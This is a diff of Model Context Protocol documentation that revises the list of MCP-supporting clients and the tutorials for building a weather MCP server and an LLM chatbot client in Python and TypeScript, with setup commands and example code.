quickstart, your command might look something like this: `dotnet run -- path/to/QuickstartWeatherServer`. - + **Learn more:** - The client will: + * [TypingMind MCP Document](https://www.typingmind.com/mcp) + * [Download TypingMind (PWA)](https://www.typingmind.com/) + - 1. Connect to the specified server - 2. List available tools - 3. Start an interactive chat session where you can: - * Enter queries - * See tool executions - * Get responses from Claude - 4. Exit the session when done + + v0 turns your ideas into fullstack apps, no code required. Describe what you want with natural language, and v0 builds it for you. v0 can search the web, inspect sites, automatically fix errors, and integrate with external tools. - Here's an example of what it should look like if connected to the weather server quickstart: + **Key features:** - - - - - + * **Visual to Code**: Create high-fidelity UIs from your wireframes or mockups + * **One-Click Deploy**: Deploy with one click to a secure, scalable infrastructure + * **Web Search**: Search the web for current information and get cited results + * **Site Inspector**: Inspect websites to understand their structure and content + * **Auto Error Fixing**: Automatically fix errors in your code with intelligent diagnostics + * **MCP Integrations**: Connect to MCP servers from the Vercel Marketplace for zero-config setup, or add your own custom MCP servers -## Next steps + **Learn more:** - - - Check out our gallery of official MCP servers and implementations - + * [v0 Website](https://v0.app) + - - View the list of clients that support MCP integrations - - + + VS Code integrates MCP with GitHub Copilot [agents](https://code.visualstudio.com/docs/copilot/agents/overview), which plan, write code, and verify results across your project. Install MCP servers from the built-in gallery or configure them in workspace (`.vscode/mcp.json`) or user settings, with secure handling of keys via input variables. + **Key features:** -# Build an MCP server -Source: https://modelcontextprotocol.io/docs/develop/build-server + * MCP server gallery in the Extensions view for one-click install and discovery + * Support for stdio, SSE, and streamable HTTP transports + * Sandbox mode for stdio servers on macOS and Linux to restrict file system and network access + * MCP Apps for interactive UI components like forms and visualizations rendered in chat + * Per-session tool selection, editable inputs, and auto-approve toggle + * Enterprise management of MCP server access via GitHub policies + * Settings Sync support to share MCP configuration across devices + -Get started building your own server to use in Claude for Desktop and other clients. + + VT Code is a terminal coding agent that integrates with Model Context Protocol (MCP) servers, focusing on predictable tool permissions and robust transport controls. -In this tutorial, we'll build a simple MCP weather server and connect it to a host, Claude for Desktop. + **Key features:** -### What we'll be building + * Connect to MCP servers over stdio; optional experimental RMCP/streamable HTTP support + * Configurable per-provider concurrency, startup/tool timeouts, and retries via `vtcode.toml` + * Pattern-based allowlists for tools, resources, and prompts with provider-level overrides -We'll build a server that exposes two tools: `get_alerts` and `get_forecast`. Then we'll connect the server to an MCP host (in this case, Claude for Desktop): + **Learn more:** - - - + * [MCP Integration Guide](https://github.com/vinhnx/vtcode/blob/main/docs/guides/mcp-integration.md) + - - Servers can connect to any client. We've chosen Claude for Desktop here for simplicity, but we also have guides on [building your own client](/docs/develop/build-client) as well as a [list of other clients here](/clients). - + + Warp is the intelligent terminal with AI and your dev team's knowledge built-in. With natural language capabilities integrated directly into an agentic command line, Warp enables developers to code, automate, and collaborate more efficiently -- all within a terminal that features a modern UX. -### Core MCP Concepts + **Key features:** -MCP servers can provide three main types of capabilities: + * **Agent Mode with MCP support**: invoke tools and access data from MCP servers using natural language prompts + * **Flexible server management**: add and manage CLI or SSE-based MCP servers via Warp's built-in UI + * **Live tool/resource discovery**: view tools and resources from each running MCP server + * **Configurable startup**: set MCP servers to start automatically with Warp or launch them manually as needed + -1. **[Resources](/docs/learn/server-concepts#resources)**: File-like data that can be read by clients (like API responses or file contents) -2. **[Tools](/docs/learn/server-concepts#tools)**: Functions that can be called by the LLM (with user approval) -3. **[Prompts](/docs/learn/server-concepts#prompts)**: Pre-written templates that help users accomplish specific tasks + + WhatsMCP is an MCP client for WhatsApp. WhatsMCP lets you interact with your AI stack from the comfort of a WhatsApp chat. -This tutorial will primarily focus on tools. + **Key features:** - - - Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-python) + * Supports MCP tools + * SSE transport, full OAuth2 support + * Chat flow management for WhatsApp messages + * One click setup for connecting to your MCP servers + * In chat management of MCP servers + * Oauth flow natively supported in WhatsApp + - ### Prerequisite knowledge + + Windsurf Editor is an agentic IDE that combines AI assistance with developer workflows. It features an innovative AI Flow system that enables both collaborative and independent AI interactions while maintaining developer control. - This quickstart assumes you have familiarity with: + **Key features:** - * Python - * LLMs like Claude + * Revolutionary AI Flow paradigm for human-AI collaboration + * Intelligent code generation and understanding + * Rich development tools with multi-model support + - ### Logging in MCP Servers + + Witsy is an AI desktop assistant, supporting Anthropic models and MCP servers as LLM tools. - When implementing MCP servers, be careful about how you handle logging: + **Key features:** - **For STDIO-based servers:** Never write to standard output (stdout). This includes: + * Multiple MCP servers support + * Tool integration for executing commands and scripts + * Local server connections for enhanced privacy and security + * Easy-install from Smithery.ai + * Open-source, available for macOS, Windows and Linux + - * `print()` statements in Python - * `console.log()` in JavaScript - * `fmt.Println()` in Go - * Similar stdout functions in other languages + + Zed is a high-performance code editor with built-in MCP support, focusing on prompt templates and tool integration. - Writing to stdout will corrupt the JSON-RPC messages and break your server. + **Key features:** - **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses. + * Prompt templates surface as slash commands in the editor + * Tool integration for enhanced coding workflows + * Tight integration with editor features and workspace context + * Does not support MCP resources + - ### Best Practices + + Zencoder is a coding agent that's available as an extension for VS Code and JetBrains family of IDEs, meeting developers where they already work. It comes with RepoGrokking (deep contextual codebase understanding), agentic pipeline, and the ability to create and share custom agents. - 1. Use a logging library that writes to stderr or files. - 2. For Python, be especially careful - `print()` writes to stdout by default. + **Key features:** - ### Quick Examples + * RepoGrokking - deep contextual understanding of codebases + * Agentic pipeline - runs, tests, and executes code before outputting it + * Zen Agents platform - ability to build and create custom agents and share with the team + * Integrated MCP tool library with one-click installations + * Specialized agents for Unit and E2E Testing - ```python theme={null} - # ❌ Bad (STDIO) - print("Processing request") + **Learn more:** - # ✅ Good (STDIO) - import logging - logging.info("Processing request") - ``` + * [Zencoder Documentation](https://docs.zencoder.ai) + - ### System requirements +## Adding MCP support to your application - * Python 3.10 or higher installed. - * You must use the Python MCP SDK 1.2.0 or higher. +If you've added MCP support to your application, we encourage you to submit a pull request to add it to this list. MCP integration can provide your users with powerful contextual AI capabilities and make your application part of the growing MCP ecosystem. - ### Set up your environment +Benefits of adding MCP support: - First, let's install `uv` and set up our Python project and environment: +* Enable users to bring their own context and tools +* Join a growing ecosystem of interoperable AI applications +* Provide users with flexible integration options +* Support local-first AI workflows - - ```bash macOS/Linux theme={null} - curl -LsSf https://astral.sh/uv/install.sh | sh - ``` +To get started with implementing MCP in your application, check out our [Python](https://github.com/modelcontextprotocol/python-sdk) or [TypeScript SDK Documentation](https://github.com/modelcontextprotocol/typescript-sdk) - ```powershell Windows theme={null} - powershell -ExecutionPolicy ByPass -c "irm https://astral.sh/uv/install.ps1 | iex" - ``` - - Make sure to restart your terminal afterwards to ensure that the `uv` command gets picked up. +# Build an MCP client +Source: https://modelcontextprotocol.io/docs/develop/build-client - Now, let's create and set up our project: +Get started building your own client that can integrate with all MCP servers. + +In this tutorial, you'll learn how to build an LLM-powered chatbot client that connects to MCP servers. + +Before you begin, it helps to have gone through our [Build an MCP Server](/docs/develop/build-server) tutorial so you can understand how clients and servers communicate. + + + + [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/mcp-client-python) + + ## System Requirements + + Before starting, ensure your system meets these requirements: + + * Mac or Windows computer + * Latest Python version installed + * Latest version of `uv` installed + + ## Setting Up Your Environment + + First, create a new Python project with `uv`: ```bash macOS/Linux theme={null} - # Create a new directory for our project - uv init weather - cd weather + # Create project directory + uv init mcp-client + cd mcp-client - # Create virtual environment and activate it + # Create virtual environment uv venv + + # Activate virtual environment source .venv/bin/activate - # Install dependencies - uv add "mcp[cli]" httpx + # Install required packages + uv add mcp anthropic python-dotenv - # Create our server file - touch weather.py + # Remove boilerplate files + rm main.py + + # Create our main file + touch client.py ``` ```powershell Windows theme={null} - # Create a new directory for our project - uv init weather - cd weather + # Create project directory + uv init mcp-client + cd mcp-client - # Create virtual environment and activate it + # Create virtual environment uv venv + + # Activate virtual environment .venv\Scripts\activate - # Install dependencies - uv add mcp[cli] httpx + # Install required packages + uv add mcp anthropic python-dotenv - # Create our server file - new-item weather.py + # Remove boilerplate files + del main.py + + # Create our main file + new-item client.py ``` - Now let's dive into building your server. - - ## Building your server - - ### Importing packages and setting up the instance + ## Setting Up Your API Key - Add these to the top of your `weather.py`: + You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys). - ```python theme={null} - from typing import Any + Create a `.env` file to store it: - import httpx - from mcp.server.fastmcp import FastMCP + ```bash theme={null} + echo "ANTHROPIC_API_KEY=your-api-key-goes-here" > .env + ``` - # Initialize FastMCP server - mcp = FastMCP("weather") + Add `.env` to your `.gitignore`: - # Constants - NWS_API_BASE = "https://api.weather.gov" - USER_AGENT = "weather-app/1.0" + ```bash theme={null} + echo ".env" >> .gitignore ``` - The FastMCP class uses Python type hints and docstrings to automatically generate tool definitions, making it easy to create and maintain MCP tools. + + Make sure you keep your `ANTHROPIC_API_KEY` secure! + - ### Helper functions + ## Creating the Client - Next, let's add our helper functions for querying and formatting the data from the National Weather Service API: + ### Basic Client Structure + + First, let's set up our imports and create the basic client class: ```python theme={null} - async def make_nws_request(url: str) -> dict[str, Any] | None: - """Make a request to the NWS API with proper error handling.""" - headers = {"User-Agent": USER_AGENT, "Accept": "application/geo+json"} - async with httpx.AsyncClient() as client: - try: - response = await client.get(url, headers=headers, timeout=30.0) - response.raise_for_status() - return response.json() - except Exception: - return None + import asyncio + from typing import Optional + from contextlib import AsyncExitStack + from mcp import ClientSession, StdioServerParameters + from mcp.client.stdio import stdio_client - def format_alert(feature: dict) -> str: - """Format an alert feature into a readable string.""" - props = feature["properties"] - return f""" - Event: {props.get("event", "Unknown")} - Area: {props.get("areaDesc", "Unknown")} - Severity: {props.get("severity", "Unknown")} - Description: {props.get("description", "No description available")} - Instructions: {props.get("instruction", "No specific instructions provided")} - """ + from anthropic import Anthropic + from dotenv import load_dotenv + + load_dotenv() # load environment variables from .env + + class MCPClient: + def __init__(self): + # Initialize session and client objects + self.session: Optional[ClientSession] = None + self.exit_stack = AsyncExitStack() + self.anthropic = Anthropic() + # methods will go here ``` - ### Implementing tool execution + ### Server Connection Management - The tool execution handler is responsible for actually executing the logic of each tool. Let's add it: + Next, we'll implement the method to connect to an MCP server: ```python theme={null} - @mcp.tool() - async def get_alerts(state: str) -> str: - """Get weather alerts for a US state. + async def connect_to_server(self, server_script_path: str): + """Connect to an MCP server Args: - state: Two-letter US state code (e.g. CA, NY) + server_script_path: Path to the server script (.py or .js) """ - url = f"{NWS_API_BASE}/alerts/active/area/{state}" - data = await make_nws_request(url) - - if not data or "features" not in data: - return "Unable to fetch alerts or no alerts found." + is_python = server_script_path.endswith('.py') + is_js = server_script_path.endswith('.js') + if not (is_python or is_js): + raise ValueError("Server script must be a .py or .js file") - if not data["features"]: - return "No active alerts for this state." + command = "python" if is_python else "node" + server_params = StdioServerParameters( + command=command, + args=[server_script_path], + env=None + ) - alerts = [format_alert(feature) for feature in data["features"]] - return "\n---\n".join(alerts) + stdio_transport = await self.exit_stack.enter_async_context(stdio_client(server_params)) + self.stdio, self.write = stdio_transport + self.session = await self.exit_stack.enter_async_context(ClientSession(self.stdio, self.write)) + await self.session.initialize() - @mcp.tool() - async def get_forecast(latitude: float, longitude: float) -> str: - """Get weather forecast for a location. + # List available tools + response = await self.session.list_tools() + tools = response.tools + print("\nConnected to server with tools:", [tool.name for tool in tools]) + ``` - Args: - latitude: Latitude of the location - longitude: Longitude of the location - """ - # First get the forecast grid endpoint - points_url = f"{NWS_API_BASE}/points/{latitude},{longitude}" - points_data = await make_nws_request(points_url) + ### Query Processing Logic - if not points_data: - return "Unable to fetch forecast data for this location." + Now let's add the core functionality for processing queries and handling tool calls: - # Get the forecast URL from the points response - forecast_url = points_data["properties"]["forecast"] - forecast_data = await make_nws_request(forecast_url) + ```python theme={null} + async def process_query(self, query: str) -> str: + """Process a query using Claude and available tools""" + messages = [ + { + "role": "user", + "content": query + } + ] - if not forecast_data: - return "Unable to fetch detailed forecast." + response = await self.session.list_tools() + available_tools = [{ + "name": tool.name, + "description": tool.description, + "input_schema": tool.inputSchema + } for tool in response.tools] - # Format the periods into a readable forecast - periods = forecast_data["properties"]["periods"] - forecasts = [] - for period in periods[:5]: # Only show next 5 periods - forecast = f""" - {period["name"]}: - Temperature: {period["temperature"]}°{period["temperatureUnit"]} - Wind: {period["windSpeed"]} {period["windDirection"]} - Forecast: {period["detailedForecast"]} - """ - forecasts.append(forecast) + # Initial Claude API call + response = self.anthropic.messages.create( + model="claude-sonnet-4-20250514", + max_tokens=1000, + messages=messages, + tools=available_tools + ) - return "\n---\n".join(forecasts) - ``` + # Process response and handle tool calls + final_text = [] - ### Running the server + assistant_message_content = [] + for content in response.content: + if content.type == 'text': + final_text.append(content.text) + assistant_message_content.append(content) + elif content.type == 'tool_use': + tool_name = content.name + tool_args = content.input - Finally, let's initialize and run the server: + # Execute tool call + result = await self.session.call_tool(tool_name, tool_args) + final_text.append(f"[Calling tool {tool_name} with args {tool_args}]") - ```python theme={null} - def main(): - # Initialize and run the server - mcp.run(transport="stdio") + assistant_message_content.append(content) + messages.append({ + "role": "assistant", + "content": assistant_message_content + }) + messages.append({ + "role": "user", + "content": [ + { + "type": "tool_result", + "tool_use_id": content.id, + "content": result.content + } + ] + }) + + # Get next response from Claude + response = self.anthropic.messages.create( + model="claude-sonnet-4-20250514", + max_tokens=1000, + messages=messages, + tools=available_tools + ) + final_text.append(response.content[0].text) - if __name__ == "__main__": - main() + return "\n".join(final_text) ``` - Your server is complete! Run `uv run weather.py` to start the MCP server, which will listen for messages from MCP hosts. + ### Interactive Chat Interface - Let's now test your server from an existing MCP host, Claude for Desktop. + Now we'll add the chat loop and cleanup functionality: - ## Testing your server with Claude for Desktop + ```python theme={null} + async def chat_loop(self): + """Run an interactive chat loop""" + print("\nMCP Client Started!") + print("Type your queries or 'quit' to exit.") - - Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/develop/build-client) tutorial to build an MCP client that connects to the server we just built. - + while True: + try: + query = input("\nQuery: ").strip() - First, make sure you have Claude for Desktop installed. [You can install the latest version - here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.** + if query.lower() == 'quit': + break - We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist. + response = await self.process_query(query) + print("\n" + response) - For example, if you have [VS Code](https://code.visualstudio.com/) installed: + except Exception as e: + print(f"\nError: {str(e)}") - - ```bash macOS/Linux theme={null} - code ~/Library/Application\ Support/Claude/claude_desktop_config.json - ``` + async def cleanup(self): + """Clean up resources""" + await self.exit_stack.aclose() + ``` - ```powershell Windows theme={null} - code $env:AppData\Claude\claude_desktop_config.json - ``` - + ### Main Entry Point - You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured. + Finally, we'll add the main execution logic: - In this case, we'll add our single weather server like so: + ```python theme={null} + async def main(): + if len(sys.argv) < 2: + print("Usage: python client.py ") + sys.exit(1) - - ```json macOS/Linux theme={null} - { - "mcpServers": { - "weather": { - "command": "uv", - "args": [ - "--directory", - "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather", - "run", - "weather.py" - ] - } - } - } - ``` + client = MCPClient() + try: + await client.connect_to_server(sys.argv[1]) + await client.chat_loop() + finally: + await client.cleanup() - ```json Windows theme={null} - { - "mcpServers": { - "weather": { - "command": "uv", - "args": [ - "--directory", - "C:\\ABSOLUTE\\PATH\\TO\\PARENT\\FOLDER\\weather", - "run", - "weather.py" - ] - } - } - } - ``` - + if __name__ == "__main__": + import sys + asyncio.run(main()) + ``` - - You may need to put the full path to the `uv` executable in the `command` field. You can get this by running `which uv` on macOS/Linux or `where uv` on Windows. - + You can find the complete `client.py` file [here](https://github.com/modelcontextprotocol/quickstart-resources/blob/main/mcp-client-python/client.py). - - Make sure you pass in the absolute path to your server. You can get this by running `pwd` on macOS/Linux or `cd` on Windows Command Prompt. On Windows, remember to use double backslashes (`\\`) or forward slashes (`/`) in the JSON path. - + ## Key Components Explained - This tells Claude for Desktop: + ### 1. Client Initialization - 1. There's an MCP server named "weather" - 2. To launch it by running `uv --directory /ABSOLUTE/PATH/TO/PARENT/FOLDER/weather run weather.py` + * The `MCPClient` class initializes with session management and API clients + * Uses `AsyncExitStack` for proper resource management + * Configures the Anthropic client for Claude interactions - Save the file, and restart **Claude for Desktop**. - + ### 2. Server Connection - - Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-typescript) + * Supports both Python and Node.js servers + * Validates server script type + * Sets up proper communication channels + * Initializes the session and lists available tools - ### Prerequisite knowledge + ### 3. Query Processing - This quickstart assumes you have familiarity with: + * Maintains conversation context + * Handles Claude's responses and tool calls + * Manages the message flow between Claude and tools + * Combines results into a coherent response - * TypeScript - * LLMs like Claude + ### 4. Interactive Interface - ### Logging in MCP Servers + * Provides a simple command-line interface + * Handles user input and displays responses + * Includes basic error handling + * Allows graceful exit - When implementing MCP servers, be careful about how you handle logging: + ### 5. Resource Management - **For STDIO-based servers:** Never write to standard output (stdout). This includes: + * Proper cleanup of resources + * Error handling for connection issues + * Graceful shutdown procedures - * `print()` statements in Python - * `console.log()` in JavaScript - * `fmt.Println()` in Go - * Similar stdout functions in other languages + ## Common Customization Points - Writing to stdout will corrupt the JSON-RPC messages and break your server. + 1. **Tool Handling** + * Modify `process_query()` to handle specific tool types + * Add custom error handling for tool calls + * Implement tool-specific response formatting - **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses. + 2. **Response Processing** + * Customize how tool results are formatted + * Add response filtering or transformation + * Implement custom logging - ### Best Practices + 3. **User Interface** + * Add a GUI or web interface + * Implement rich console output + * Add command history or auto-completion - 1. Use a logging library that writes to stderr or files, such as `logging` in Python. - 2. For JavaScript, be especially careful - `console.log()` writes to stdout by default. + ## Running the Client - ### Quick Examples + To run your client with any MCP server: - ```javascript theme={null} - // ❌ Bad (STDIO) - console.log("Server started"); - - // ✅ Good (STDIO) - console.error("Server started"); // stderr is safe + ```bash theme={null} + uv run client.py path/to/server.py # python server + uv run client.py path/to/build/index.js # node server ``` - ### System requirements + + If you're continuing [the weather tutorial from the server quickstart](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-python), your command might look something like this: `python client.py .../quickstart-resources/weather-server-python/weather.py` + - For TypeScript, make sure you have the latest version of Node installed. + The client will: - ### Set up your environment + 1. Connect to the specified server + 2. List available tools + 3. Start an interactive chat session where you can: + * Enter queries + * See tool executions + * Get responses from Claude - First, let's install Node.js and npm if you haven't already. You can download them from [nodejs.org](https://nodejs.org/). - Verify your Node.js installation: + Here's an example of what it should look like if connected to the weather server from the server quickstart: + + + + + + ## How It Works + + When you submit a query: + + 1. The client gets the list of available tools from the server + 2. Your query is sent to Claude along with tool descriptions + 3. Claude decides which tools (if any) to use + 4. The client executes any requested tool calls through the server + 5. Results are sent back to Claude + 6. Claude provides a natural language response + 7. The response is displayed to you + + ## Best practices + + 1. **Error Handling** + * Always wrap tool calls in try-catch blocks + * Provide meaningful error messages + * Gracefully handle connection issues + + 2. **Resource Management** + * Use `AsyncExitStack` for proper cleanup + * Close connections when done + * Handle server disconnections + + 3. **Security** + * Store API keys securely in `.env` + * Validate server responses + * Be cautious with tool permissions + + 4. **Tool Names** + * Tool names can be validated according to the format specified [here](/specification/draft/server/tools#tool-names) + * If a tool name conforms to the specified format, it should not fail validation by an MCP client + + ## Troubleshooting + + ### Server Path Issues + + * Double-check the path to your server script is correct + * Use the absolute path if the relative path isn't working + * For Windows users, make sure to use forward slashes (/) or escaped backslashes (\\) in the path + * Verify the server file has the correct extension (.py for Python or .js for Node.js) + + Example of correct path usage: ```bash theme={null} - node --version - npm --version + # Relative path + uv run client.py ./server/weather.py + + # Absolute path + uv run client.py /Users/username/projects/mcp-server/weather.py + + # Windows path (either format works) + uv run client.py C:/projects/mcp-server/weather.py + uv run client.py C:\\projects\\mcp-server\\weather.py ``` - For this tutorial, you'll need Node.js version 16 or higher. + ### Response Timing - Now, let's create and set up our project: + * The first response might take up to 30 seconds to return + * This is normal and happens while: + * The server initializes + * Claude processes the query + * Tools are being executed + * Subsequent responses are typically faster + * Don't interrupt the process during this initial waiting period + + ### Common Error Messages + + If you see: + + * `FileNotFoundError`: Check your server path + * `Connection refused`: Ensure the server is running and the path is correct + * `Tool execution failed`: Verify the tool's required environment variables are set + * `Timeout error`: Consider increasing the timeout in your client configuration + + + + [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/mcp-client-typescript) + + ## System Requirements + + Before starting, ensure your system meets these requirements: + + * Mac or Windows computer + * Node.js 17 or higher installed + * Latest version of `npm` installed + * Anthropic API key (Claude) + + ## Setting Up Your Environment + + First, let's create and set up our project: ```bash macOS/Linux theme={null} - # Create a new directory for our project - mkdir weather - cd weather + # Create project directory + mkdir mcp-client-typescript + cd mcp-client-typescript - # Initialize a new npm project + # Initialize npm project npm init -y # Install dependencies - npm install @modelcontextprotocol/sdk zod@3 + npm install @anthropic-ai/sdk @modelcontextprotocol/sdk dotenv + + # Install dev dependencies npm install -D @types/node typescript - # Create our files - mkdir src - touch src/index.ts + # Create source file + touch index.ts ``` ```powershell Windows theme={null} - # Create a new directory for our project - md weather - cd weather + # Create project directory + md mcp-client-typescript + cd mcp-client-typescript - # Initialize a new npm project + # Initialize npm project npm init -y # Install dependencies - npm install @modelcontextprotocol/sdk zod@3 + npm install @anthropic-ai/sdk @modelcontextprotocol/sdk dotenv + + # Install dev dependencies npm install -D @types/node typescript - # Create our files - md src - new-item src\index.ts + # Create source file + new-item index.ts ``` - Update your package.json to add type: "module" and a build script: + Update your `package.json` to set `type: "module"` and a build script: ```json package.json theme={null} { "type": "module", - "bin": { - "weather": "./build/index.js" - }, "scripts": { "build": "tsc && chmod 755 build/index.js" - }, - "files": ["build"] + } } ``` @@ -2092,9030 +1944,16202 @@ This tutorial will primarily focus on tools. "module": "Node16", "moduleResolution": "Node16", "outDir": "./build", - "rootDir": "./src", + "rootDir": "./", "strict": true, "esModuleInterop": true, "skipLibCheck": true, "forceConsistentCasingInFileNames": true }, - "include": ["src/**/*"], + "include": ["index.ts"], "exclude": ["node_modules"] } ``` - Now let's dive into building your server. - - ## Building your server + ## Setting Up Your API Key - ### Importing packages and setting up the instance + You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys). - Add these to the top of your `src/index.ts`: + Create a `.env` file to store it: - ```typescript theme={null} - import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js"; - import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js"; - import { z } from "zod"; + ```bash theme={null} + echo "ANTHROPIC_API_KEY=" > .env + ``` - const NWS_API_BASE = "https://api.weather.gov"; - const USER_AGENT = "weather-app/1.0"; + Add `.env` to your `.gitignore`: - // Create server instance - const server = new McpServer({ - name: "weather", - version: "1.0.0", - }); + ```bash theme={null} + echo ".env" >> .gitignore ``` - ### Helper functions + + Make sure you keep your `ANTHROPIC_API_KEY` secure! + - Next, let's add our helper functions for querying and formatting the data from the National Weather Service API: + ## Creating the Client + + ### Basic Client Structure + + First, let's set up our imports and create the basic client class in `index.ts`: ```typescript theme={null} - // Helper function for making NWS API requests - async function makeNWSRequest(url: string): Promise { - const headers = { - "User-Agent": USER_AGENT, - Accept: "application/geo+json", - }; + import { Anthropic } from "@anthropic-ai/sdk"; + import { + MessageParam, + Tool, + } from "@anthropic-ai/sdk/resources/messages/messages.mjs"; + import { Client } from "@modelcontextprotocol/sdk/client/index.js"; + import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js"; + import readline from "readline/promises"; + import dotenv from "dotenv"; - try { - const response = await fetch(url, { headers }); - if (!response.ok) { - throw new Error(`HTTP error! status: ${response.status}`); - } - return (await response.json()) as T; - } catch (error) { - console.error("Error making NWS request:", error); - return null; - } - } + dotenv.config(); - interface AlertFeature { - properties: { - event?: string; - areaDesc?: string; - severity?: string; - status?: string; - headline?: string; - }; + const ANTHROPIC_API_KEY = process.env.ANTHROPIC_API_KEY; + if (!ANTHROPIC_API_KEY) { + throw new Error("ANTHROPIC_API_KEY is not set"); } - // Format alert data - function formatAlert(feature: AlertFeature): string { - const props = feature.properties; - return [ - `Event: ${props.event || "Unknown"}`, - `Area: ${props.areaDesc || "Unknown"}`, - `Severity: ${props.severity || "Unknown"}`, - `Status: ${props.status || "Unknown"}`, - `Headline: ${props.headline || "No headline"}`, - "---", - ].join("\n"); - } + class MCPClient { + private mcp: Client; + private anthropic: Anthropic; + private transport: StdioClientTransport | null = null; + private tools: Tool[] = []; - interface ForecastPeriod { - name?: string; - temperature?: number; - temperatureUnit?: string; - windSpeed?: string; - windDirection?: string; - shortForecast?: string; - } - - interface AlertsResponse { - features: AlertFeature[]; - } - - interface PointsResponse { - properties: { - forecast?: string; - }; - } - - interface ForecastResponse { - properties: { - periods: ForecastPeriod[]; - }; + constructor() { + this.anthropic = new Anthropic({ + apiKey: ANTHROPIC_API_KEY, + }); + this.mcp = new Client({ name: "mcp-client-cli", version: "1.0.0" }); + } + // methods will go here } ``` - ### Implementing tool execution + ### Server Connection Management - The tool execution handler is responsible for actually executing the logic of each tool. Let's add it: + Next, we'll implement the method to connect to an MCP server: ```typescript theme={null} - // Register weather tools - - server.registerTool( - "get_alerts", - { - description: "Get weather alerts for a state", - inputSchema: { - state: z - .string() - .length(2) - .describe("Two-letter state code (e.g. CA, NY)"), - }, - }, - async ({ state }) => { - const stateCode = state.toUpperCase(); - const alertsUrl = `${NWS_API_BASE}/alerts?area=${stateCode}`; - const alertsData = await makeNWSRequest(alertsUrl); - - if (!alertsData) { - return { - content: [ - { - type: "text", - text: "Failed to retrieve alerts data", - }, - ], - }; + async connectToServer(serverScriptPath: string) { + try { + const isJs = serverScriptPath.endsWith(".js"); + const isPy = serverScriptPath.endsWith(".py"); + if (!isJs && !isPy) { + throw new Error("Server script must be a .js or .py file"); } + const command = isPy + ? process.platform === "win32" + ? "python" + : "python3" + : process.execPath; - const features = alertsData.features || []; - if (features.length === 0) { + this.transport = new StdioClientTransport({ + command, + args: [serverScriptPath], + }); + await this.mcp.connect(this.transport); + + const toolsResult = await this.mcp.listTools(); + this.tools = toolsResult.tools.map((tool) => { return { - content: [ - { - type: "text", - text: `No active alerts for ${stateCode}`, - }, - ], + name: tool.name, + description: tool.description, + input_schema: tool.inputSchema, }; - } + }); + console.log( + "Connected to server with tools:", + this.tools.map(({ name }) => name) + ); + } catch (e) { + console.log("Failed to connect to MCP server: ", e); + throw e; + } + } + ``` - const formattedAlerts = features.map(formatAlert); - const alertsText = `Active alerts for ${stateCode}:\n\n${formattedAlerts.join("\n")}`; + ### Query Processing Logic - return { - content: [ - { - type: "text", - text: alertsText, - }, - ], - }; - }, - ); + Now let's add the core functionality for processing queries and handling tool calls: - server.registerTool( - "get_forecast", - { - description: "Get weather forecast for a location", - inputSchema: { - latitude: z - .number() - .min(-90) - .max(90) - .describe("Latitude of the location"), - longitude: z - .number() - .min(-180) - .max(180) - .describe("Longitude of the location"), + ```typescript theme={null} + async processQuery(query: string) { + const messages: MessageParam[] = [ + { + role: "user", + content: query, }, - }, - async ({ latitude, longitude }) => { - // Get grid point data - const pointsUrl = `${NWS_API_BASE}/points/${latitude.toFixed(4)},${longitude.toFixed(4)}`; - const pointsData = await makeNWSRequest(pointsUrl); + ]; - if (!pointsData) { - return { - content: [ - { - type: "text", - text: `Failed to retrieve grid point data for coordinates: ${latitude}, ${longitude}. This location may not be supported by the NWS API (only US locations are supported).`, - }, - ], - }; - } + const response = await this.anthropic.messages.create({ + model: "claude-sonnet-4-20250514", + max_tokens: 1000, + messages, + tools: this.tools, + }); - const forecastUrl = pointsData.properties?.forecast; - if (!forecastUrl) { - return { - content: [ - { - type: "text", - text: "Failed to get forecast URL from grid point data", - }, - ], - }; - } + const finalText = []; - // Get forecast data - const forecastData = await makeNWSRequest(forecastUrl); - if (!forecastData) { - return { - content: [ - { - type: "text", - text: "Failed to retrieve forecast data", - }, - ], - }; - } + for (const content of response.content) { + if (content.type === "text") { + finalText.push(content.text); + } else if (content.type === "tool_use") { + const toolName = content.name; + const toolArgs = content.input as { [x: string]: unknown } | undefined; - const periods = forecastData.properties?.periods || []; - if (periods.length === 0) { - return { - content: [ - { - type: "text", - text: "No forecast periods available", - }, - ], - }; - } + const result = await this.mcp.callTool({ + name: toolName, + arguments: toolArgs, + }); + finalText.push( + `[Calling tool ${toolName} with args ${JSON.stringify(toolArgs)}]` + ); - // Format forecast periods - const formattedForecast = periods.map((period: ForecastPeriod) => - [ - `${period.name || "Unknown"}:`, - `Temperature: ${period.temperature || "Unknown"}°${period.temperatureUnit || "F"}`, - `Wind: ${period.windSpeed || "Unknown"} ${period.windDirection || ""}`, - `${period.shortForecast || "No forecast available"}`, - "---", - ].join("\n"), - ); + messages.push({ + role: "user", + content: result.content as string, + }); - const forecastText = `Forecast for ${latitude}, ${longitude}:\n\n${formattedForecast.join("\n")}`; + const response = await this.anthropic.messages.create({ + model: "claude-sonnet-4-20250514", + max_tokens: 1000, + messages, + }); - return { - content: [ - { - type: "text", - text: forecastText, - }, - ], - }; - }, - ); + finalText.push( + response.content[0].type === "text" ? response.content[0].text : "" + ); + } + } + + return finalText.join("\n"); + } ``` - ### Running the server + ### Interactive Chat Interface - Finally, implement the main function to run the server: + Now we'll add the chat loop and cleanup functionality: ```typescript theme={null} - async function main() { - const transport = new 